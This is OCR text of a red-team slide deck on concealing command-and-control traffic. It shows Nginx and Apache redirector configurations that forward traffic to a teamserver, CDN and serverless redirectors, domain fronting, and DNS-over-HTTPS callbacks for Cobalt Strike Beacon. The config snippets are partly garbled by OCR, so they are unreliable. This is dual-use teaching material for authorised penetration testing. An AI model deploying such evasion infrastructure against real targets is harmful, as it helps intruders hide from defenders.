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What are C2 and Data Exfiltration?
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* This interaction can be used
to load other malicious
software, install
persistence, or copy
information out of the
environment
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Have anything for me to do?
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What is a Redirector?

 Moving a C2 server is an arduous process and may be required
frequently if its IP address gets burned quickly

* Redirectors are intermediate servers that forward data to the primary
C2 server without revealing information about it

Victim Dumb Redirector Server C2 Server
(attacker-domain.com)

Legit site
(login.microsoftonline.com)




Redirectors

* Redirectors can be created and destroyed more easily than a C2
server because there is no session data associated with them

* They are less likely to be identified as malicious because they do not
share many attributes with the backend server (open ports, JA3,
server responses, etc.)

* These redirectors can take many forms but optimally would have the
following attributes:
* Reside in a country that the target operates in
* Utilize transport layer encryption
* Valid SSL certificate
* Inconspicuous domain name



Traditional Redirectors

* For many years (and even today) web servers were
utilized as C2 redirectors

* Projects like Nginx and Apache feature a reverse
proxy capability, allowing them to forward traffic
based on rules defined by the operator

e These redirectors can run on a VPS in a location near
the customer, but the operator is still responsible for
a domain name and SSL certificate




Traditional Redirectors — Nginx

* Nginx does not require a module be installed

* This configuration will redirect all traffic that doesn’t
match a file on the server to the teamserver

location / {
try files $uri $uri/ @c2;

}

location @c2 {
proxy pass https://TEAMSERVER-IP;
proxy redirect off;
proxy ssl verify off;
proxy_set header Host $host;
proxy set header X-Forwarded-For $proxy add x forwarded for;



Traditional Redirectors — Apache

* Apache’s mod_rewrite module can be used for this
purpose

* This configuration will only redirect traffic destined

for one of the two specified paths with the correct
user-agent

RewriteEngine On

RewriteCond %{REQUEST_URI} ~/(some/path/here.php|different/path/here.php)/?$
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 \(Windows; U; MSIE 7.0; Windows NT 5.2\)"
RewriteRule ~.*$ http://TEAMSERVER-IP%{REQUEST URI} [P]

RewriteRule ~.*$ http://google.com/? [L,R=302]



Content Delivery Networks (CDN)

* A CDN is a collection of servers that speed up web traffic by caching
content closer to users

* These servers are very similar to redirectors in that they redirect
traffic based on certain criteria

* The caching feature can be disabled most of the time, turning the
CDN endpoints into effective C2 redirectors!

 Many CDN services also provide a free subdomain of their trusted
domain

e Some even include an SSL certificate!



Domain Fronting

 Domain fronting is an attack that takes advantage of a common CDN
behavior

* In this scenario, an attacker finds a legitimate domain name that is
hosted on the same CDN as their malicious domain

* The malware implant is instructed to specify the legitimate domain as
the server name indication (SNI) and the malicious domain as the
HTTP host header

* The traffic will find the CDN using the legitimate domain, but then will
be sent to the domain specified in the host header

* This attack has been largely mitigated, by vendor modifications,
vendor monitoring, and network-based security products



CDN — Azure

 The Azure CDN is a strong option as it
provides:

* A subdomain of azureedge.net
* A Microsoft-signed SSL certificate

* The configuration is straightforward as well

* Microsoft has been known to find and shut
down malicious use of Azure CDN quickly,
making it less viable of an option




CDN = Cloudflare

* Cloudflare will provide a valid SSL certificate, but requires an existing
domain name

* This has minimal benefit over a traditional redirector, especially since

Cloudflare is another company that attempts to shut down these
redirectors

CLOUDFLARE




CDN — Amazon CloudFront

* AWS will provide a subdomain of cloudfront.net, but automatically
generates a random alphanumeric value for the subdomain name

Fache policy d1kirgppugkang.cloudfront.net -  bhisblogtest.xyz

Choose an existing cache policy or create a new one
CachingDisabled
Policy with caching disabled

* An SSL certificate will be provided, but only functions if the backend
server also has a valid certificate

* The AWS CDN is also the most lenient towards pentesters, they tend
to leave domains alone
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Other Cloud Services

 CDNs were a great option, but some cloud providers have started to
crack down on their use for C2 channels — especially with well-known
frameworks like Cobalt Strike

* Luckily, CDNs are not the only services offered by most of these
providers!

* Azure, Cloudflare, and AWS all feature “serverless” offerings that can
be used in place of a CDN

* Azure and Cloudflare will provide free domain names, Azure provides a
certificate



Serverless — Azure App Services

e Azure has a service that allows users to

upload code directly to a web server they
host

* This service can be used for free, and
allows you to create a subdomain of
azurewebsites.net with a Microsoft SSL
certificate

 @bashexplode wrote cs2webconfig, a
tool to automate setup for Cobalt Strike



https://twitter.com/bashexplode
https://github.com/bashexplode/cs2webconfig/wiki/Azure-Web-Application-Service-Usage
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Serverless — Cloudflare Workers

* The Cloudflare Worker offering is similar, only support JavaScript code

* This service is also free and allows you to create a subdomain of
workers.dev

* You will have to request an SSL certificate for backend server,
LetsEncrypt does not appear to work with workers.dev domains

* Alfie Champion put out a great blog with setup instructions for Cobalt
Strike

CLOUDFLARE

v 4+ Workers


https://twitter.com/ajpc500
https://ajpc500.github.io/c2/Using-CloudFlare-Workers-as-Redirectors/
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DNS over HTTPS

* DoH is a protocol that has been out for some time now, but mostly
unused by attackers and offensive security professionals

* Using TitanLdr, an amazing project from Austin Hudson, we can
replace the traditional DNS queries that Cobalt Strike makes with DoH
requests!

* This option provides existing domain names and valid SSL certificates
without the need for any registration or account with DoH servers!

* The major downside here is that DoH requests hold much less data
than traditional HTTPS, meaning more traffic is required for the same

instruction and exfiltration



https://github.com/secidiot/TitanLdr
https://twitter.com/ilove2pwn_

DNS over HTTPS — TitanLdr

* The original version of TitanLdr will instruct Beacon to connect to
dns.google (8.8.8.8/8.8.4.4)

* Austin’s implementation is generic enough to support just about any
DoH server!

My TitanLdr fork instructions Beacon to randomly select one from a
hardcoded list each callback

Icp = Api.InternetConnectA( Iop, ULONG_PTR domains[] = {
C_PTR( G_SYM( '[dns.googlel ) ), G_SYM( “dns.google” ),
INTERNET_DEFAULT_HTTPS_PORT, G_SYM( "dns.quad9.net" ),
NULL, G_SYM( "mozilla.cloudflare-dns.com™ ),
NULL, G_SYM( "cloudflare-dns.com" ),
INTERNET_SERVICE_HTTP, G_SYM( "doh.opendns.com" ),
9, G_SYM( "ordns.he.net" )
2 ); };



https://github.com/kyleavery/titanldr
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Azure App Services — Includes subdomain and certificate, unlikely to get
shut down

DNS over HTTPS — Includes domain and certificate, slower

Traditional Reverse Proxy — No domain name or SSL certificate
Azure CDN — Includes subdomain and certificate, likely to get shut down

Cloudflare CDN — Includes certificate, no domain name, likely to get shut
down



Looking for More!

* Windows Post Exploitation Antisyphon virtual 16-hour training
* January 25-28, 2022

* Covers enumeration, persistence, privilege escalation, and lateral
movement

An overview of several techniques in each of these categories, with
comparisons and OPSEC discussions

Use open-source tools and write custom capability implementations in hands-
on labs

e Register with Antisyphon
e https://winpostex.com



https://winpostex.com/

